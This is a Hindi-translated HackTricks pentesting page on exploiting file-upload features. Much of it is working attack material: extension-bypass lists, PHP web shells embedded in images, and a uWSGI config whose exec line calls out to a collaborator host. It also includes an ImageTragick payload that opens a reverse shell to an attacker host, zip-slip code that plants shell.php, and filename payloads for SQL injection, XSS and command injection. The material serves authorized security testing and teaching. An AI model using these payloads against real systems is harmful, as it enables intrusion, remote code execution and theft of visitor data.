.. | ||
pdf-upload-xxe-and-cors-bypass.md | ||
README.md |
फाइल अपलोड
AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप चाहते हैं कि आपकी कंपनी का विज्ञापन HackTricks में दिखाई दे या HackTricks को PDF में डाउनलोड करें तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- The PEASS Family की खोज करें, हमारा विशेष NFTs संग्रह
- 💬 Discord group में शामिल हों या telegram group में या Twitter पर मुझे 🐦 @carlospolopm का अनुसरण करें.
- अपनी हैकिंग ट्रिक्स साझा करें PRs जमा करके HackTricks और HackTricks Cloud github repos में.
Bug bounty tip: Intigriti के लिए साइन अप करें, एक प्रीमियम bug bounty platform जो हैकर्स द्वारा हैकर्स के लिए बनाया गया है! हमसे आज ही https://go.intigriti.com/hacktricks पर जुड़ें, और $100,000 तक के बाउंटीज कमाना शुरू करें!
{% embed url="https://go.intigriti.com/hacktricks" %}
फाइल अपलोड सामान्य पद्धति
अन्य उपयोगी एक्सटेंशन:
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- PHPv8 में काम करना: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Erlang Yaws Web Server: .yaws
फाइल एक्सटेंशन चेक्स को बायपास करना
- यदि लागू हो, तो पिछले एक्सटेंशन की जांच करें. इन्हें कुछ अपरकेस अक्षरों का उपयोग करके भी परीक्षण करें: pHp, .pHP5, .PhAr ...
- वैध एक्सटेंशन को निष्पादन एक्सटेंशन से पहले जोड़ने की जांच करें (पिछले एक्सटेंशन का भी उपयोग करें):
- file.png.php
- file.png.Php5
- अंत में विशेष वर्ण जोड़ने का प्रयास करें. आप Burp का उपयोग करके सभी ascii और Unicode वर्णों को bruteforce कर सकते हैं. (ध्यान दें कि आप पहले उल्लिखित एक्सटेंशन का भी प्रयास कर सकते हैं)
- file.php%20
- file.php%0a
- file.php%00
- file.php%0d%0a
- file.php/
- file.php.\
- file.
- file.php....
- file.pHp5....
- सर्वर-साइड के एक्सटेंशन पार्सर को चकमा देने के लिए एक्सटेंशन को दोगुना करने या एक्सटेंशन के बीच अनावश्यक डेटा (null bytes) जोड़ने की तकनीकों का प्रयास करें. आप पिछले एक्सटेंशन का भी उपयोग करके बेहतर पेलोड तैयार कर सकते हैं.
- file.png.php
- file.png.pHp5
- file.php#.png
- file.php%00.png
- file.php\x00.png
- file.php%0a.png
- file.php%0d%0a.png
- file.phpJunk123png
- पिछली जांच में एक और परत के एक्सटेंशन जोड़ें:
- file.png.jpg.php
- file.php%00.png%00.jpg
- वैध एक्सटेंशन से पहले निष्पादन एक्सटेंशन डालने का प्रयास करें और प्रार्थना करें कि सर्वर गलत कॉन्फ़िगर हो. (Apache मिसकॉन्फ़िगरेशन का शोषण करने के लिए उपयोगी जहां किसी भी एक्सटेंशन के साथ .php, लेकिन जरूरी नहीं कि .php** से समाप्त होने पर कोड निष्पादित होगा):
- उदाहरण: file.php.png
- Windows में NTFS alternate data stream (ADS) का उपयोग करना. इस मामले में, एक निषिद्ध एक्सटेंशन के बाद और एक अनुमत एक्सटेंशन से पहले एक कोलन वर्ण “:” डाला जाएगा. नतीजतन, सर्वर पर एक खाली फाइल निषिद्ध एक्सटेंशन के साथ बनाई जाएगी (उदाहरण के लिए “file.asax:.jpg”). इस फाइल को बाद में अन्य तकनीकों जैसे कि इसके छोटे फाइलनाम का उपयोग करके संपादित किया जा सकता है. “::$data” पैटर्न का उपयोग भी गैर-खाली फाइलें बनाने के लिए किया जा सकता है. इसलिए, इस पैटर्न के बाद एक डॉट वर्ण जोड़ना भी आगे की पाबंदियों को बायपास करने के लिए उपयोगी हो सकता है (.उदा. “file.asp::$data.”)
- फाइलनाम सीमाओं को तोड़ने का प्रयास करें. वैध एक्सटेंशन कट जाता है. और दुर्भावनापूर्ण PHP बच जाता है. AAA<--SNIP-->AAA.php
# Linux अधिकतम 255 बाइट्स
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# फाइल अपलोड करें और जांचें कि कितने वर्णों की अनुमति है. मान लें कि 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# पेलोड बनाएं
AAA<--SNIP 232 A-->AAA.php.png
Content-Type, Magic Number, Compression & Resizing को बायपास करना
- Content-Type चेक्स को बायपास करने के लिए Content-Type हेडर की मान को सेट करें: image/png , text/plain , application/octet-stream
- Content-Type वर्डलिस्ट: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt
- मैजिक नंबर चेक को बायपास करने के लिए फाइल की शुरुआत में एक वास्तविक इमेज के बाइट्स जोड़ें (फाइल कमांड को भ्रमित करें). या शेल को मेटाडेटा के अंदर पेश करें:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
\
या आप सीधे एक इमेज में पेलोड पेश कर सकते हैं:
echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
- यदि आपकी इमेज में कंप्रेशन जोड़ा जा रहा है, उदाहरण के लिए कुछ मानक PHP लाइब्रेरीज जैसे PHP-GD का उपयोग करके, पिछली तकनीकें उपयोगी नहीं होंगी. हालांकि, आप PLTE chunk तकनीक यहां परिभाषित की गई है का उपयोग करके कुछ पाठ डाल सकते हैं जो कंप्रेशन को बचा लेगा.
- कोड के साथ Github
- वेब पेज भी इमेज को रीसाइजिंग कर सकता है, उदाहरण के लिए PHP-GD फंक्शन `
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
जब configuration फ़ाइल parsed की जाएगी, payload executed होगा। ध्यान दें कि config को parsed करने के लिए, process को पुनः आरंभ करने की आवश्यकता होती है (crash? DoS?) या फ़ाइल को autoreloaded किया जाना चाहिए (एक विकल्प जो इस्तेमाल में हो सकता है जो सेकंड्स को इंगित करता है फ़ाइल को पुनः लोड करने के लिए अगर एक परिवर्तन पाया जाता है)।
महत्वपूर्ण नोट: uWSGI का configuration फ़ाइल का parsing ढीला है। पिछला payload एक बाइनरी फ़ाइल के अंदर एम्बेड किया जा सकता है (उदाहरण के लिए, इमेज, pdf, ...).
wget File Upload/SSRF Trick
कुछ मौकों पर आप पाएंगे कि एक सर्वर wget
का उपयोग करके फ़ाइलों को download कर रहा है और आप URL को indicate कर सकते हैं। इन मामलों में, कोड यह जांच सकता है कि डाउनलोड की गई फ़ाइलों का एक्सटेंशन एक whitelist के अंदर है ताकि सुनिश्चित किया जा सके कि केवल अनुमति वाली फ़ाइलें ही डाउनलोड की जाएंगी। हालांकि, इस जांच को बायपास किया जा सकता है।
linux में एक filename की अधिकतम लंबाई 255 है, हालांकि, wget फ़ाइलनामों को 236 अक्षरों तक काट देता है। आप "A"*232+".php"+".gif" नामक एक फ़ाइल download कर सकते हैं, यह फ़ाइलनाम check को bypass करेगा (जैसा कि इस उदाहरण में ".gif" एक valid एक्सटेंशन है) लेकिन wget
फ़ाइल का नाम बदलकर "A"*232+".php" कर देगा।
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
ध्यान दें कि एक और विकल्प जिसके बारे में आप सोच रहे होंगे इस जांच को बायपास करने के लिए यह है कि HTTP सर्वर को एक अलग फाइल पर रीडायरेक्ट करना, ताकि प्रारंभिक URL जांच को बायपास कर देगा लेकिन फिर wget नए नाम के साथ रीडायरेक्टेड फाइल को डाउनलोड करेगा। यह काम नहीं करेगा जब तक wget का उपयोग पैरामीटर --trust-server-names
के साथ नहीं किया जा रहा हो क्योंकि wget रीडायरेक्टेड पेज को मूल URL में दिखाए गए फाइल के नाम से डाउनलोड करेगा।
अन्य संसाधन
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files
- https://github.com/modzero/mod0BurpUploadScanner
- https://github.com/almandin/fuxploider
- https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html
उपकरण
- Upload Bypass एक शक्तिशाली उपकरण है जो Pentesters और Bug Hunters को फाइल अपलोड मैकेनिज्म की जांच में सहायता करने के लिए डिजाइन किया गया है। यह विभिन्न bug bounty तकनीकों का उपयोग करके वल्नरेबिलिटीज की पहचान और उनके शोषण की प्रक्रिया को सरल बनाता है, वेब एप्लिकेशन्स के गहन मूल्यांकन को सुनिश्चित करता है।
फाइल अपलोड से अन्य वल्नरेबिलिटीज तक
- filename को
../../../tmp/lol.png
पर सेट करें और path traversal हासिल करने की कोशिश करें - filename को
sleep(10)-- -.jpg
पर सेट करें और आप SQL injection हासिल कर सकते हैं - filename को
<svg onload=alert(document.domain)>
पर सेट करें ताकि XSS हासिल कर सकें - filename को
; sleep 10;
पर सेट करें ताकि कुछ command injection का परीक्षण कर सकें (अधिक command injections tricks here) - XSS in image (svg) file upload
- JS file upload + XSS = Service Workers का शोषण
- XXE in svg upload
- Open Redirect via uploading svg file
- https://github.com/allanlw/svg-cheatsheet से विभिन्न svg payloads की कोशिश करें****
- प्रसिद्ध ImageTrick वल्नरेबिलिटी
- यदि आप वेब सर्वर को एक URL से इमेज कैच करने के लिए संकेत दे सकते हैं तो आप SSRF का दुरुपयोग करने की कोशिश कर सकते हैं। यदि यह इमेज किसी पब्लिक साइट में सेव की जाने वाली है, तो आप https://iplogger.org/invisible/ से एक URL भी संकेत कर सकते हैं और हर विजिटर की जानकारी चुरा सकते हैं।
- XXE and CORS bypass with PDF-Adobe upload
- XSS के लिए विशेष रूप से तैयार किए गए PDFs: निम्नलिखित पेज प्रस्तुत करता है कि कैसे PDF डेटा को इंजेक्ट करके JS निष्पादन प्राप्त करें। यदि आप PDFs अपलोड कर सकते हैं तो आप दिए गए संकेतों के अनुसार मनमाने JS को निष्पादित करने वाले कुछ PDF तैयार कर सकते हैं।
- [eicar](https://secure.eicar.org/eicar.com.txt) की सामग्री अपलोड करें ताकि जांच सकें कि क्या सर्वर में कोई antivirus है
- फाइल्स अपलोड करते समय कोई size limit है या नहीं यह जांचें
यहाँ एक टॉप 10 सूची है जिन चीजों को आप अपलोड करके हासिल कर सकते हैं (स्रोत link):
- ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
- SVG: Stored XSS / SSRF / XXE
- GIF: Stored XSS / SSRF
- CSV: CSV injection
- XML: XXE
- AVI: LFI / SSRF
- HTML / JS : HTML injection / XSS / Open redirect
- PNG / JPEG: Pixel flood attack (DoS)
- ZIP: RCE via LFI / DoS
- PDF / PPTX: SSRF / BLIND XXE
Burp Extension
{% embed url="https://github.com/portswigger/upload-scanner" %}
Magic Header Bytes
- PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
- JPG:
"\xff\xd8\xff"
अन्य फाइल प्रकारों के लिए https://en.wikipedia.org/wiki/List_of_file_signatures देखें।
Zip/Tar File Automatically decompressed Upload
यदि आप एक ZIP अपलोड कर सकते हैं जो सर्वर के अंदर डिकंप्रेस होने वाला है, तो आप 2 चीजें कर सकते हैं:
Symlink
अन्य फाइलों के लिए सॉफ्ट लिंक्स वाला एक लिंक अपलोड करें, फिर, डिकंप्रेस्ड फाइलों तक पहुंचकर आप लिंक की गई फाइलों तक पहुंचेंगे:
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
विभिन्न फ़ोल्डरों में डिकंप्रेस करें
डिकंप्रेस की गई फ़ाइलें अप्रत्याशित फ़ोल्डरों में बनाई जाएंगी।
कोई आसानी से मान सकता है कि यह सेटअप OS-स्तरीय कमांड निष्पादन से बचाता है जो कि दुर्भावनापूर्ण फ़ाइल अपलोड के माध्यम से हो सकता है लेकिन दुर्भाग्यवश यह सच नहीं है। चूंकि ZIP आर्काइव प्रारूप संरचनात्मक संपीड़न का समर्थन करता है और हम उच्च स्तरीय निर्देशिकाओं का भी संदर्भ दे सकते हैं, हम सुरक्षित अपलोड निर्देशिका से बाहर निकल सकते हैं लक्ष्य अनुप्रयोग की डिकंप्रेशन सुविधा का दुरुपयोग करके।
इस प्रकार की फ़ाइलें बनाने के लिए एक स्वचालित एक्सप्लॉइट यहाँ पाया जा सकता है: https://github.com/ptoomey3/evilarc
python2 evilarc.py -h
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
आप **symlink trick with evilarc** का भी उपयोग कर सकते हैं, यदि flag `/flag.txt` में है तो सुनिश्चित करें कि आप उस फाइल के लिए **symlink बनाएं** और **अपने सिस्टम में वह फाइल बनाएं** ताकि जब आप evilarc को कॉल करें तो यह **error न करे**।
कुछ python कोड एक दुर्भावनापूर्ण zip बनाने के लिए:
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
दूरस्थ कमांड निष्पादन प्राप्त करने के लिए मैंने निम्नलिखित कदम उठाए:
1. एक PHP शेल बनाएं:
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
- "file spraying" का उपयोग करें और एक संकुचित zip फ़ाइल बनाएं:
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# ls *.php
simple-backdoor.php xxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAcmd.php xxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAxxAcmd.php xxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
root@s2crew:/tmp# zip cmd.zip xx*.php
adding: xxAcmd.php (deflated 40%)
adding: xxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
root@s2crew:/tmp#
3.एक hexeditor या vi का उपयोग करके "xxA" को "../" में बदलें, मैंने vi का उपयोग किया:
:set modifiable
:%s/xxA/..\//g
:x!
केवल एक कदम शेष था: ZIP फ़ाइल अपलोड करें और एप्लिकेशन को इसे डिकंप्रेस करने दें! यदि यह सफल होता है और वेब सर्वर के पास पर्याप्त अधिकार हैं तो निर्देशिकाओं में लिखने के लिए, सिस्टम पर एक सरल OS कमांड निष्पादन शेल होगा:
संदर्भ: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
ImageTragic
इस सामग्री को एक इमेज एक्सटेंशन के साथ अपलोड करें ताकि भेद्यता का शोषण किया जा सके (ImageMagick, 7.0.1-1)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
PHP Shell को PNG में एम्बेड करना
IDAT चंक में वेब शेल डालने का मुख्य कारण यह है कि यह resize और re-sampling ऑपरेशन्स को बायपास करने की क्षमता रखता है - PHP-GD में इसे करने के लिए दो फंक्शन्स हैं imagecopyresized और imagecopyresampled।
इस पोस्ट को पढ़ें: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Polyglot Files
सुरक्षा संदर्भ में, Polyglots ऐसी फाइलें होती हैं जो कई अलग-अलग फाइल प्रकारों के लिए मान्य होती हैं। उदाहरण के लिए, GIFAR एक GIF और RAR फाइल दोनों है। ऐसी फाइलें भी होती हैं जो GIF और JS, PPT और JS आदि दोनों हो सकती हैं।
Polyglot फाइलें अक्सर फाइल प्रकारों पर आधारित सुरक्षा को बायपास करने के लिए इस्तेमाल की जाती हैं। कई एप्लिकेशन जो उपयोगकर्ताओं को फाइलें अपलोड करने की अनुमति देते हैं, केवल कुछ प्रकार की अपलोड्स की अनुमति देते हैं, जैसे कि JPEG, GIF, DOC, ताकि उपयोगकर्ता JS फाइलें, PHP फाइलें या Phar फाइलें जैसी संभावित रूप से खतरनाक फाइलें अपलोड न कर सकें।
यह कई अलग-अलग प्रारूपों के अनुरूप फाइल अपलोड करने में मदद करता है। यह आपको एक PHAR फाइल (PHp ARchive) अपलोड करने की अनुमति दे सकता है जो JPEG की तरह भी दिखती है, लेकिन शायद आपको अभी भी एक मान्य एक्सटेंशन की आवश्यकता होगी और यदि अपलोड फंक्शन इसे अनुमति नहीं देता है तो यह आपकी मदद नहीं करेगा।
अधिक जानकारी के लिए: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
Bug bounty tip: Intigriti के लिए साइन अप करें, एक प्रीमियम bug bounty platform जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है! आज ही https://go.intigriti.com/hacktricks पर हमसे जुड़ें, और $100,000 तक के bounties कमाना शुरू करें!
{% embed url="https://go.intigriti.com/hacktricks" %}
AWS हैकिंग सीखें शुरुआत से लेकर एक्सपर्ट तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप चाहते हैं कि आपकी कंपनी का विज्ञापन HackTricks में दिखाई दे या HackTricks को PDF में डाउनलोड करें तो SUBSCRIPTION PLANS देखें!
- official PEASS & HackTricks swag प्राप्त करें
- The PEASS Family की खोज करें, हमारा एक्सक्लूसिव NFTs कलेक्शन
- 💬 Discord group या telegram group में शामिल हों या Twitter पर 🐦 @carlospolopm को फॉलो करें।
- HackTricks के HackTricks और HackTricks Cloud github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।